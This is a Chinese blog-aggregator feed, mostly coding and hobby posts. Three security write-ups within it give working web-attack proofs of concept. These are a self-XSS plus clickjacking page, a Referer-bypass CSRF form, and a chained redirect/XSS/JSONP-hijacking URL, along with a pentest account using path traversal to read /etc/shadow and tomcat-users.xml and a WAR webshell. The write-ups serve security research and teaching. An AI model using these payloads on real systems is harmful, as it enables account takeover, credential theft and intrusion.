- 博客 Jiajun的编程随想 2018-08-29 08:00:00《Web后端工程师进阶指南(2018)》作为一名后端工程师，毕业两年有余，从实习到现在，回头一看，成长还是有的！所以我把这六年（加大学四年）从入门到进阶的经验整理、总结了一下，分享给大家。本文主要是针对三年以内的，中高级工程师以下的进阶指南。针对读者：大学生，毕业生，初级工程师，中级工程师。如果你是架构师以上，TL;DR，哈哈...
- 博客 Jiajun的编程随想 2018-08-28 08:00:00《How to implement fork syscall in Golang?》[中文版](https://jiajunhuang.com/articles/2018_03_08-golang_fork.md.html)ref: https://github.com/moby/moby/tree/master/pkg/reexec...
- 博客 Jiajun的编程随想 2018-08-28 08:00:00《macOS ansible 遇到 rsync: --chown=www-data: unknown option》用Ansible同步数据的时候，遇到了错误：```bash...
- 博客 Vulkey_Chen's Blog 2018-08-28 00:00:00
前言
作者：Vulkey_Chen
博客：gh0st.cn
这是一个鸡肋性质的研究，也许有些标题党，请见谅～
本文启发于一些讨论，和自己脑子里冒出来的想法。
组合拳搭配
Self型XSS
已知Self型XSS漏洞是这样的：
相信看见图片基本上已经知道这个漏洞形成的原因了，该功能点有一个编辑预览的，输入XSS的payload就触发。
局限点在于这个漏洞是Self型(Myself)，也就是只能自己输入->自己触发漏洞。
变换思考
重新理一下这个漏洞触发的流程：
1.输入XSS payload:
<svg/onload=alert(1)>2.触发
那么是否也可以理解为这样的一个触发流程：
1.XSS payload就在剪贴板中
2.黏贴到文本框
3.触发
也就是说在这里我只需要沿着这个流程向下拓展，是否可以让我变换的触发流程文字变成代码形式。
顺推流程
触发流程顺推为攻击流程：
1.诱导受害者点开连接
2.诱导受害者点击复制按钮
3.诱导受害者黏贴剪贴板的内容
4.顺利触发XSS漏洞
这一切的攻击流程看起来可操作性并不强，但实际上还是会有很多人中招。
搭配谁？
以上的攻击流程都需要在同一个页面中触发，那么就需要一个点击劫持的配合。
“上天总是眷顾长得帅的人”，在这里确实也存在着点击劫持的问题：
代码思考&构建
复制功能
按流程来构建，首先构建复制到剪贴板的功能：
JavaScript有这样的功能，代码如下，自行 ”食“ 用：
<script type="text/javascript"> function cpy(){ var content=document.getElementById("test");//获取id为test的对象 content.select();//全选内容 document.execCommand("Copy");//执行复制命令到剪贴板 } </script>HTML代码如下：
<input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">界面如下：
问题：
虽然作为一个PoC来说，不需要那么苛刻的要求PoC的严谨性，但这里处于研究探索的目的还是需要解决问题，如果input标签的内容显示出来，那么就很容易暴露本身的攻击。
针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码：
<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">经过测试发现并不能成功的使用复制功能，我的理解是因为在JavaScript代码中有这样一段内容：
... content.select();//全选内容 ...既然是全选内容那么一定要有这样一个编辑框或者输入框的存在，所以使用Hidden从实际意义上是没有这样一个”框“的。
解决问题：
在这里我选择使用透明样式来从”视觉上隐藏“标签：
<style type="text/css"> #test { /*css id选择器*/ /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } </style>那么界面就变成如下的样子了：
注意：这里没办法使用自动复制到剪贴板，必须需要一个按钮才行
点击劫持
点击劫持之前写过一篇文章，所以就不在做讲解了，参考我之前写的一篇文章：http://gh0st.cn/archives/2017-12-20/1
构建基本CSS样式：
.testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; }iframe框架&&输入框：
<div class="testframe"> <iframe src="https://website/New"></iframe> <input type="text" id="submit"> </div>最终PoC
<html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #test { /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> <div class="testframe"> <input type="text" id="submit"> <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){ var content=document.getElementById("test"); content.select(); document.execCommand("Copy"); } </script> </body> </html>最终演示
总结
比较打开脑洞的一次研究，苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。
- 博客 Jiajun的编程随想 2018-08-26 08:00:00《关于运营的思考-运营要怎么做？》## 一个血气方刚的故事前段时间一时兴起，建了一个技术交流群，并且把入群的二维码公开在了博客和论坛上，没多久就加了几十个人---虽然自己的博客是个小站，但是还是有那么些读者的嘛...
- 博客 Holmesian Blog 2018-08-25 13:12:00之前在办公室放了块A+型的树莓派跑一些推送、隧道之类的零碎小任务，本来一直都比较稳定，但自从前几个月多加了一个定点爬虫之后就明显性能不足了。恰好这几天收拾老房子的时候找到一块2代的B型版，这简直...
- 博客 Jiajun的编程随想 2018-08-24 08:00:00《Python中实现单例模式的n种方式和原理》在Python中如何实现单例模式？这可以说是一个经典的Python面试题了。这回我们讲讲实现Python中实现单例模式的n种方式，和它的原理。## 什么是单例模式...
- 博客 Jiajun的编程随想 2018-08-23 08:00:00《Golang defer中修改返回值》我们来看demo：```go...
- 博客 Randy's Blog 2018-08-13 08:00:001877
- 博客 Jiajun的编程随想 2018-08-12 08:00:00《Python dataclass 源码阅读与分析》## 先来看看如何使用```python...
- 博客 Jiajun的编程随想 2018-08-08 08:00:00《gRPC-gateway 源码阅读与分析》> https://github.com/grpc-ecosystem/grpc-gateway首先看一下要怎么用这个库，README里写着...
- 博客 Jiajun的编程随想 2018-08-04 08:00:00《如何阅读源代码》今天我们来简单的谈谈应该如何去阅读源代码。阅读源代码是每个程序员都要做的事情，毕竟成为master的先前一步，就是 `follow the master`...
- 博客 Vulkey_Chen's Blog 2018-08-01 00:00:00
前言
在做测试的时候会遇见这样几个漏洞场景：
- JSONP跨域劫持
- 反射XSS
- GET请求类型攻击
但是，在相对安全的情况下，都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢？
正文
什么是Referer？
Referer是请求头的一部分，假设A站上有B站的链接，在A站上点击B站的链接，请求头会带有Referer，而Referer的值为A站的链接；这也就是为什么上文所说的场景，遇见了Referer的限制就可能GG了。
绕过之道
常规绕过
一个实际场景：
先来说说一些常规化的东西：
子域名方式
使用子域名的方式进行绕过：
域名前增加
在域名前面增加随机的a-z和0-9也可以进绕过：
？号
将域名作为GET请求参数进行绕过：
打破常规
无Referer
之前在做测试的时候，将Referer头删除也可以绕过，但是在真正的利用中能不能去实现呢？是可以的。
在HTML标签中有这样一个标签
<meta>，而这个标签是表示无Referer，就是如下的代码：<meta name="referrer" content="never">我原来的PoC为：
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>修改之后的PoC为：
<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
与其他资源组合
超链接
在上文就提到了A站有B站的链接，在A站点击B站的链接，Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接，链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击？
例如gh0st.cn做了Referer的限制：
Referer State http://gh0st.cn (Current Domain) YES http://www.hi-ourlife.cn (Other Domain) NO http://a.gh0st.cn (SubDomain) YES 实际场景：
- 公开信息对外
在个人中心处可以编辑个人的微博地址：
微博地址是对外的公开信息：
那么结合一下点击劫持或者用户常规的点击了～那就GGGGGGG了～
- 论坛
现在很多厂商都有自己的开放论坛，特别是Discuz这种很多，而Discuz回复是可以使用超链接的：
回复这样的格式：
[url=u]t[/url]u部分为地址，t部分为地址名字～URL跳转
302跳转是否可以？NO，不可以。
这里的URL跳转是JavaScript的URL跳转。
常见的两个：
window.location.href="url"; window.open("url");反射XSS(Referer限制)
- 这里我已经有一个存在任意URL跳转漏洞了：
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
- 我有一个反射XSS漏洞：
http://vulkey.cn/jsonp.php?callback=vulkey当
referer = a.com:
当
referer = vulkey.cn:
当
referer = *.vulkey.cn:
这个接口验证了Referer使用之前的方法没办法绕过，于是采用组合拳搭配。
于是有了如下的构建：
http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>
JSONP劫持+反射XSS+URL跳转
这个案例是基于上面反射XSS案例的，现在已知的三个问题：
- JSONP接口
http://vulkey.cn/jsonp.php?callback=vulkey有Referer限制 - 反射XSS
http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>有Referer限制 - JavaScript URL跳转
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
一般JSONP跨域劫持的PoC是这样的：
<script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="url"></script>但是因为有Referer限制，就不能在自己的站点上做PoC了，就只能利用反射XSS漏洞构建PoC：
http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E但仅仅如此是不够是因为XSS有Referer来源的限制，所以最终的PoC应该是这样的：
http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E
也就是说在这里JS的URL跳转解决了XSS的Referer限制问题，而XSS又解决了JSONP接口的Referer限制问题，这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么”麻烦”。
结尾
文中总结一些小的TIPS，针对我遇到的实际案例进行了漏洞的复现截图，打开思维其实还有更多更好的思路，有机会后期会写出来。
- 博客 Vulkey_Chen's Blog 2018-07-25 00:00:00
前言
坏蛋(春秋社区)跟我说要我准备议题的时候，我是懵逼的～仔细想了一下自己这么菜，能讲什么呢？
思考了很久最终定了这个标题：《我的Web应用安全模糊测试之路》
这篇议题主要围绕我做Web应用安全测试的时候所运用的一些技巧和思路。
我的Web应用安全模糊测试之路
什么是Web应用中的模糊测试？
Web应用是基于什么进行传输的？HTTP协议。
模糊测试是什么？Payload随机。
Payload放哪里？HTTP请求报文格式是什么？请求行(请求方式 URI HTTP/1.1)、请求头、请求报文主体(POST Data)。
模糊测试秘籍->增(Add) && 删(Del)
被固化的测试思维
我列出一个请求，边看边思考你会怎么测试这个请求呢？
HTTP请求报文(Request)：
GET /uc/getInfo HTTP/1.1 Host: gh0st.cn Origin: http://gh0st.cn ...HTTP响应主体(Response Content):
{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }看到这想必你已经知道自己要测试的内容是什么了，一般来讲很多人会先注意
Origin这个HTTP请求报文头，看响应的HTTP头：... Access-Control-Allow-Origin: http://gh0st.cn Access-Control-Allow-Crdentials: True Access-Control-Allow-Methods: OPTION, POST, GET ...如果我修改Origin的值为
http://qianan.cn，返回的也是Access-Control-Allow-Origin: http://qianan.cn，那就代表着这里存在CORS跨域资源共享(任意域)的问题，具体在这里就不多说了参考我之前的一篇文章：http://gh0st.cn/archives/2018-03-22/1这里也许会有什么匹配之类的验证，一般的两种绕过方法：
1.子域名(
http://{domain}.mst.cn/ -> http://gh0st.cn.mst.cn/)2.域名前缀(
http://{a-z}{domain} -> http://agh0st.cn/)也许到这里部分人的测试已经Over了～那么我还会继续测试下去，如何测？往下看↓
模糊测试之增
增 - 入门
观察响应报文格式：
{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }这里的格式为JSON格式，那么跟JSON有关的漏洞最先想到的是什么？
没错，JSONP跨域劫持（想科普下？看这里-> http://gh0st.cn/archives/2018-03-22/1）。
JSONP跨域劫持需要具备的条件是回调参数，而这里并没有，没有回调参数，那我就增加一个回调参数，如下是我的一份字典：
使用BurpSuite的Intruder模块，进行枚举测试：
GET /uc/getInfo?callback=mstkey HTTP/1.1 GET /uc/getInfo?cb=mstkey HTTP/1.1 GET /uc/getInfo?jsonp=mstkey HTTP/1.1 ...终于某一条请求得到了我想要的结果：
mstkey({"id":"1024","realname":"yudan","mobilePhone":"13888888888","cardNo":"111111111111111111"})那在这里我就可以构建PoC了：
<script>function mstkey(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/uc/getInfo?callback=mstkey"></script>增 - 进阶
除了上面所说的增加回调参数以外，还可以增加什么呢？
增加的参数和值可以分析网站数据、关联网站数据、整合自用字典与网站字段结合。
响应报文转换：
{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }转换为HTTP请求参数 键=值 格式：
id=1024 realName=yudan mobilePhone=13888888888 cardNo=111111111111111111初次之外还有什么？当然是使用自用字典和如上总结的进行整合：
注意一点，参数都整理好之后，对应的值采用B账号的对应值，因为这样才会有差异，才能进行分析是否存在相关的漏洞，一般加参数会存在越权问题～
增 - 深入
很多小伙伴挖漏洞的时候核心业务挖不动那肯定怼一些边缘业务和一些后台系统了，大多数人应该都遇见过这样的问题，找到了一个后台的地址点进去是管理界面，突然的有js跳转到登录界面去了，但是查看页面代码却能获取到很多的后台接口～
很多人会选择登录爆破、未授权接口使用这些常规操作类型去测试，可能测完就会抛掉了，而我之前测试某项目的时候碰见的就是当我在接口后面加上admin=1的时候响应报文返回了这样的头：
Set-Cookie: xxxxxx=xxxxxxx给我设置了一个Cookie，我使用这个Cookie直接就进入了后台。
模糊测试之删
在这里有一处实际场景：
其流程是这样的：输入邮箱->点击修改邮箱->发送修改链接到该邮箱->邮箱打开修改链接->成功修改
明显流程就有问题，按照常的流程来说应该先验证原邮箱(手机号)再做修改操作。
点击修改邮箱按钮获取到的请求如下：
POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)这里有Token保护，用来防御CSRF的，这里将token置空或者删除 键=值 即可绕过，这里是因为token并没有实际的去做校验，也就是”表面安全”。
增的组合拳
在”删”这个环节里说到了删除CSRF的
token绕过的方法，但不久之后厂商进行了修复。。。它成功的让token校验了，这里无法再使用原来的方法了，但是在这里观察请求和响应：
POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)响应主体：
这里输入一个错误的或者已经绑定过的会提示输入错误，然后回显请求报文中的POST Data参数mail的值～
也就是说在这里也许会存在CSRF + POST XSS，但是因为Token问题没办法利用～我们该怎么办？
这里思来想去，只能尝试设想后台的参数接收->输出代码：
<?php echo $_REQUEST['mail'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。 ?>如果是如上的接收输出，那么在这里，我修改链接为：
http://gh0st.cn/uc/changeEmail?mail=admin@gh0st.cn神奇的发现页面回显了admin@gh0st.cn到界面上了，但是并不会去走修改邮箱，也就是说这里还是需要POST请求才会走修改邮箱流程，这里我先有了反射XSS的想法，但是奈何过滤了…
于是衍生了第二个思路搭配点击劫持～（科普一下？->http://gh0st.cn/archives/2017-12-20/1）
透明化修改邮箱界面，然后获取修改邮箱按钮位置，做一个一模一样的按钮放在修改邮箱按钮之上，诱导用户点击这个按钮实际上是点击了修改邮箱的按钮～
结尾
感谢有你，每一个你，都要活的精彩。
- 博客 Jiajun的编程随想 2018-07-22 08:00:00《我心目中的配置中心应该怎么做？》最近有使用携程开源的 [apollo](https://github.com/ctripcorp/apollo)。Golang的客户端的使用用法大概是`agollo.GetStringValue("GRPCAddr", "")` 这样...
- 博客 Jiajun的编程随想 2018-07-18 08:00:00《设计一个HTTP网关》最近在使用公司的网关，发现一些不好用的地方，加上之前自己有做一个熔断器，其原理其实都差不多，总结一些我心目中的网关应有的特性...
- 博客 Randy's Blog 2018-07-16 08:00:001885
- 博客 Jiajun的编程随想 2018-07-08 08:00:00《设计一个分布式块存储》https://github.com/jiajunhuang/hfs最近读了GFS论文，然后想自己造一个轮子出来，毕竟自己的轮子圆又圆...
- 博客 Jiajun的编程随想 2018-06-24 08:00:00《Linux低电量自动关机》2019.09.12更新：可以直接使用自带的UPower，编辑 `/etc/UPower/UPower.conf`...
- 博客 Vulkey_Chen's Blog 2018-06-20 00:00:00
前言
本文总结一下漫长的渗透测试过程，想尽了各种方法，终于找到了突破口。so没有绝对的安全，所谓的安全性其实都是相对的～
信息踩点
在这里其实没办法去做一些有价值的收集，只能踩点，踩坑。
信息难点：
传输加密：
要做渗透的目标是一个APP，根据抓到的请求包发现这个APP是经过某产品加固过的，所以HTTP的POST请求正文部分(Data)是神奇的密文～
分析难点
分析：
- 信息踩点其实也是解决难点的过程，在这里我们尝试对APP进行逆向，发现并没有什么东西，因为被加固了。
- 对APP进行功能的整理，逐个功能点进行抓包分析：
- 请求正文(data)虽然是密文，但是请求的URI还是真正按照对应的功能去请求的（参考URI的命名和功能的相对应性）
建立设想(A)：
在这里请教了师傅，说可能GET请求参数并没有经过加密，而后台很有可能是这样写的：
<?php $mstsec = $_REQUEST['vulkey'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。 ?>- 一点即通，首先我可以去测试是否是真的这样的后端处理接收。
- 为了满足第一步的验证，我需要想办法找到一个GET请求的包并且有带有GET参数，这样我才能判断规则，不然就是大海捞针。
有价值的东西
其实对APP做渗透测试，大部分情况下还是对网站做渗透测试。
所以在这里抓包获取到的HOST，直接对其进行了前期的常规信息刺探（端口、目录、指纹…）
中间件：Tomcat
目录开放：/fileUpload/
端口开放：8001 1444
APP三个功能点：个人用户、资金管理、生活栏目
渗透开端
一开始粗略的对整个APP进行抓包，然后做一些简单的测试，发现并没有那种明面上的漏洞（SQL注入、XSS等等…），但是获取了这几条URI：
- /userCenter/getUser [获取用户信息URI POST]
- /userCenter/pay/getSign?userSign= [获取Sign POST]
- /userCenter/life/showShop?pId= [获取商品信息 GET]
- /userCenter/showQRcode [获取二维码图片 POST]
不小心日偏
仔细的对每个功能点进行测试的时候，抓到了一些”逃出加固命运”的明文报文。
- 发现了S2-005这个历史悠久的Struts2框架远程代码执行问题：
执行了
whoami：
- 发现了SQL注入，这里需要做一些简单的绕过(e.g.
AandND 1 like 1)：
然而没看清楚，一下次给日错地方了…很尴尬。
关联分析
日偏后我分析了一下两者的特征，发现应该出自同一个程序员之手，并且这个程序员很喜欢使用驼峰命名法…
验证设想(A)
在这里我尝试根据每个URI功能点生成GET请求参数的dict：
-
/userCenter/getUser [获取用户信息URI POST]
dict: [uId, userId, uName, userName …]
-
/userCenter/showQRcode [获取二维码图片 POST]
dict: [uId, userId, uName, userName, imagePath, filePath, codePath, fileName …]
生成请求：
GET /userCenter/getUser?uId=10001 GET /userCenter/getUser?userId=10001 GET /userCenter/getUser?uName=test001 GET /userCenter/getUser?userName=test001 ... GET /userCenter/showQRcode?uId=10001 GET /userCenter/showQRcode?userId=10001 GET /userCenter/showQRcode?uName=test001 GET /userCenter/showQRcode?userName=test001 GET /userCenter/showQRcode?imagePath=../../index.do GET /userCenter/showQRcode?filePath=../../index.do GET /userCenter/showQRcode?codePath=../../index.do GET /userCenter/showQRcode?fileName=../../index.do ...结论
现实残酷，打败了设想。
绝处逢生
就在想放弃的时候，决定打算”垂死挣扎”一下，重新开始”审视”了各个功能模块，眼光又转到了这个二维码地方。（因为二维码的”皮相”，所以很多人都会忽略它）
这里我去解析了二维码的地址：
失算…失算…，当去访问这个地址的时候，响应报文中会多出这样的头：
... Set-Cookie: USESSIONPID=xxx; ... jpg content这时候我就知道是时候修改
uId了，然而修改了没用，根据多年的经验（吹牛）我认为是uSign参数起了作用，这时候对uSign进行删除发现不行，会提示uSign参数不存在，当我置空这个参数，发现居然成功了又返回了用户的Cookie凭证…好吧，说明这里有一个逻辑问题…到这下去就很简单了，获取管理员权限有上传点，测试使用jhtml的后缀可以直接绕过上传，但是上传上去之后，直接访问就给你download下来了（很多次遇到这种问题…）
好吧，管理员也没啥能危害到服务器的东西了…不过回过头再来看看，二维码这个点还没啃完呢，
fileName这个参数还没去测试，fuzzdb了解一下，先怼lfi的字典进去跑（有个坑这里一定要填写完整[uId, uSign]），然后再进行Fuzz：
从intruder模块(BurpSuite)的测试结果发现这里是可以读取文件的，并且判断这个web服务是root权限运行的因为我修改
fileName参数的值为../../../etc/shadow时我直接可以获取到文件的内容，从而获取root账号权限的密码：
(解密不了)，怎么通过这个本地文件读取漏洞拿到shell？我的思路是通过读取tomcat的密码配置文件然后进入tomcat的Web管理部署war包进行getwebshell，但是这里做了一圈的目录猜解，死活没找到tomcat的应用目录…
读取
/root/.bash_history啊(这个文件是记录root用户输入过的命令-老师傅提醒到)，突然间我茅塞顿开，是啊，一般运维人员会通过命令行进行管理，那么肯定会有目录出现啊。我修改
fileName参数的值为../../../root/.bash_history，搜索下关键词tomcat就发现了：
成功的发现了root用户的命令历史并且找到了Tomat的应用安装路径，那么我只需要修改fileName的参数值为
../../../../home/apache-tomcat-7.0.67/conf/tomcat-users.xml，直接就可以读取到Tomcat的管理员账号权限，从而直接通过外部访问的形式进入Tomcat的管理界面进行控制。
登录进来之后直接到WAR file to deploy功能点，进行war包的部署（在这里使用压缩的方式将网站后门压缩成zip格式然后修改后缀名.zip为.war即可），点击Browser选择war包然后点击Deploy：
这里部署上去之后回到Applications功能点，可以看到部署的情况，点击你的命名链接然后加上你压缩的文件名（这里我的是 /vulkey/vulkey.jsp）使用Webshell管理工具进行管理，看见了我久违的界面，久违的root权限：
总结
因为后渗透可能会影响正常业务的运行，所以没有继续进行下去，很遗憾，希望下次有机会。 END: 送给大家一句话：心细则挖天下。
- 博客 Jiajun的编程随想 2018-06-15 08:00:00《CGO简明教程》## Hello World```go...
- 博客 王子亭的博客 2018-06-10 01:00:00
欢迎关注 [我的 Steam 帐号][1]，截至本文发布时的总游戏时间为 186 小时
因为 SimCity 2013 的失利，2015 年发售的城市天际线可以说是目前最好的城市建造类游戏了，三年以来也保持着稳定的更新（虽然每个 DLC 的价格都和游戏本体差不多了），相比于 SimCity 2013, 天际线没有无趣的「城市间交互」，取而代之的是更大的地图。
天际线的经营要素并不是很强，只要前期不作死 —— 不规划远超实际需要的基础设施，就不太可能出现破产的情况，从中后期开始主要的重心还是在交通上面。当然不同的人在玩这个游戏时会有不同的目标，我的目标是在不使用 Mod 的情况下、在默认的游戏规则下，建造一个看上去符合「常理」、运转起来也符合「常理」的城市。
天际线在一些方面提供了非常细致的模拟，例如有对市民的人生阶段的模拟：先上小学、再上中学、再上大学或开始工作，最后退休在家；也有对于每个市民的住所、学校或工作地点和通勤路线的模拟，市民会在步行、公共交通、私家车之间换乘；对于工业区也会模拟每个工厂进货（进口或来自其他工厂）和出货（出口或去往本地工厂、商店）的交通路径；不同的工作对于市民的教育程度有不同的要求；治安、消防、垃圾等市政服务的覆盖范围是取决于交通状况的。
在道路建设的方面，天际线提供了很大的自由度，所有的道路都可以提升为桥梁或下沉为隧道，自带的曲线工具和对齐工具可以帮助你建造出完美的道路和立交桥，但游戏也在桥梁的跨度、角度、坡度方面进行了一定的限制，不允许建造不符合常理的道路。游戏提供了三种等级（分别为 2、4、6 条车道）的城市道路，和几种不同样式的高速道路，车辆会更偏好选择高等级的道路来行驶，这样你便可以通过建造不同等级的道路来引导车流。游戏也提供了单行线、人行道（可提升为天桥或下沉为隧道）、非对称数量车道、公交专用道等各种不同类型的道路以供选用。
游戏中后期的主要内容就是解决交通拥堵了，游戏中的车流主要集中在商业区和工业区，而居民区的交通需求大部分可以用公共交通替代。工业区因为本身有污染、重型卡车比较多，在规划上会和其他区域分离，直接接入高速道路。高速道路负责区域间的长距离交通，和城市道路的互通都要靠无信号灯、车流交叉较少的立交来实现，保证高速道路不会出现拥堵；当然也会有一些级别稍低的高速路，出于占地的考量，是会出现和城市道路的路口的。在城市道路中，通过分级的路网来控制车流，在高等级道路上使用较高的路口间距，在低等级道路上不再设置信号灯等等。
参考链接：[交通规划指南][2]
在最近的一个交通 DLC 之后，已经可以为道路设置「主干道」属性，也可以单独控制每个路口有无信号灯了。但我仍对默认的交通系统有些怨念，比如不能为路口设置禁止左转 —— 通常一条小路汇入主干道时是禁止左转的；游戏中的信号灯对于直行和左转是同时放行的；车辆的车道变换也显得非常不自然。
在公共交通方面，天际线提供了公交、电车、地铁、轻轨、铁路、轮渡、飞机、飞艇、缆车、出租车，不过在我的实际使用中觉得很多交通工具提供的能力是重复的，城市内交通只要公交和地铁就可以了，城际交通（游客）靠飞机和铁路，货运靠铁路和货运港口。游戏中公交和地铁的线路和站点都是要自己规划的（也可以调整每条线路配置的车辆数量），并不像 SimCity 那样只要放置车站就可以了。这个设计带来了很多可玩性，设计得好的公共交通系统和设计得不好的交通系统将会有非常大的差别，你需要观察已有线路的客流数据（每个站点的客流量和等待人数）去进行调整、规划新的线路。
我对公共交通的怨念主要在于我认为地铁和轻轨其实是完全一样的，为何不直接让地铁可以提升到陆地或高架呢？以及游戏默认没有提供地铁的换乘车站，所以要么站外换乘，要么多个线路共用一个站台（会非常堵）；以及目前游戏中不同公共交通的换乘还比较弱，火车总站和公交总站规模过大，没有中等规模的车站。
天际线默认提供了 36 平方公里的地图，使用 Mod 可以扩大到 300 平方公里以上，几乎相当于一个真正的城市了。对于这么大的地图，游戏也提供了丰富的管理工具，你可以为每个建筑、道路、公共交通线路、甚至市民命名，也可以划分行政区，在不同的行政区使用不同的政策和税率。
图中的城市是我近期耗时几十个小时建造的一个城市，目前有人口 16 万人（相比于城市规模，天际线的人口数量不是很真实，严重偏少）。
[1]:http://steamcommunity.com/id/jysperm
[2]:https://steamcommunity.com/sharedfiles/filedetails/?id=439725721 - 博客 Jiajun的编程随想 2018-05-22 08:00:00《求值策略：Applicative Order vs Normal Order》- https://cs.stackexchange.com/questions/40758/difference-between-normal-order-and-applicative-order-evaluation- https://mitpress.mit.edu/sites/default/files/sicp/full-text/book/book-Z-H-10.html#%_sec_1.1.5...
- 博客 庭说 2018-05-18 00:00:00
本文部分内容节选自《机动车驾驶人考试内容和方法（GA 1026—2017）》，但一切行动请以教练为准。
前言
科目分类
- 科目一：道路交通安全法律、法规和相关知识考试科目（满分为 100 分，90 分合格）
- 科目二：场地驾驶技能考试科目（满分为 100 分，80 分合格）
- 科目三：道路驾驶技能和安全文明驾驶常识考试科目（满分为 100 分，90 分合格）
安全文明驾驶常识考试俗称科目四，其实是科目三的一部分。
认识机动车
点火开关
- LOCK：锁止，切断电源，锁定方向盘
- ACC：Accessories，接通附属设备电源，例如收音机
- ON：通电，接通除起动机外的全车全部电源
- START：起动。接通起动机电源，起动发动机（起动后松手钥匙，会自动弹回 ON 档位）
档位
- P（Parking）：驻车档（长时停车）
- R（Reverse）：倒车档
- N（Neutral）：空档（短时停车）
- D（Drive）：前进
- S（Sport）：运动档
刹车
- 脚刹：四轮制动
- 手刹：两个后轮制动
- 左脚：离合（左边，自动挡左脚休息）
- 右脚：刹车（中间），油门（右边）
拿到驾照的三个月后，我居然忘了刹车在中间，还是在右边。所以我坚信「做笔记」的力量。
其他
- 油箱盖上加标示：请加 9*# 汽油
科目一
先行原则
- 转弯让直行
- 右转让左转
- 右方道路来车先行
酒驾
- 醉酒驾驶机动车的，由公安机关交通管理部门约束至酒醒，吊销机动车驾驶证，依法追究刑事责任，5 年内不得重新取得机动车驾驶证
- 饮酒后驾驶机动车，暂扣 6 个月机动车驾驶证，并处一千元以上二千元以下罚款
- 因饮酒后驾驶机动车被处罚，再次饮酒后驾驶机动车的，处十日以下拘留，并处一千元以上二千元以下罚款，吊销机动车驾驶证
标线
- 双黄线都是禁止标线
- 单黄虚线是指示标线
